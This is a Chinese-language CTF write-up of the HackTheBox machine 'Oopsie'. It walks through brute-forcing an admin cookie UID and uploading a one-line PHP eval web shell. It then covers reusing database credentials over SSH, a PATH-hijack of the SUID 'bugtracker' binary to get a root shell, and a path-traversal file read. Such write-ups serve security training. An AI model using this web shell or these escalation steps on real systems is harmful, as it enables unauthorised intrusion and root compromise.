HackTheBox [Oopsie] WriteUp

GetShell

访问 80 ,查看源代码,发现存在路径 http://10.129.230.107/cdn-cgi/login/ ,是后台管理地址,可以直接 Guest 登录。

登录后发现多了两个 Cookie ,其中 user 应该是对应的 UID ,用 Burp 爆破,由于 HTB 里面有个提示,是 5 位数,并且最后一位是 2 ,所以爆破量不算太大,最多 9000 次就可以完成了。

爆破得出 admin 的 UID 是 34322 ,可以访问上传界面了,直接上传一句话。

<?php eval($_REQUEST['1']);

上传后的路径是 http://10.129.230.107/uploads/filename.php ,用蚁剑可以成功连接,不过貌似会定期清理。

翻了下源代码,找到了数据库配置文件 /var/www/html/cdn-cgi/login/db.php ,里面有一个 robert 用户和密码。

用这个用户 SSH 撞库,成功登录,GetShell 成功。

提权

发现用户有个可执行文件 bugtracker 可以直接使用。原理应该是在程序中赋予了 cat SUID ,目的是让 cat 命令可以访问任何文件,但是实际上这个 cat 并不是绝对路径 /bin/cat ,所以可以直接修改环境变量,控制 cat 的内容,达到提权的效果。

首先创建文件夹 /tmp/test ,然后在 /tmp/test 中创建一个 cat 文件,写入以下内容。

/bin/bash

赋予 cat 可执行权限。

chmod +x cat

修改环境变量。

export PATH=/tmp/test:/bin:/usr/bin
which cat

此时 cat 已经变成了一个 root 权限的 shell ,再执行 bugtracker 即可提权成功,但是查看 flag 就不能再用 cat 了,可以用 head 或者其他的命令代替。

head /home/robert/user.txt
head /root/root.txt

但其实这题不用这种方法也能解,只要能猜对 root 的 flag 文件名就行,类似任意文件读取,可以直接执行 bugtracker ,然后 bug id 填写 ../../../root/root.txt ,就可以读出 flag 了。

评论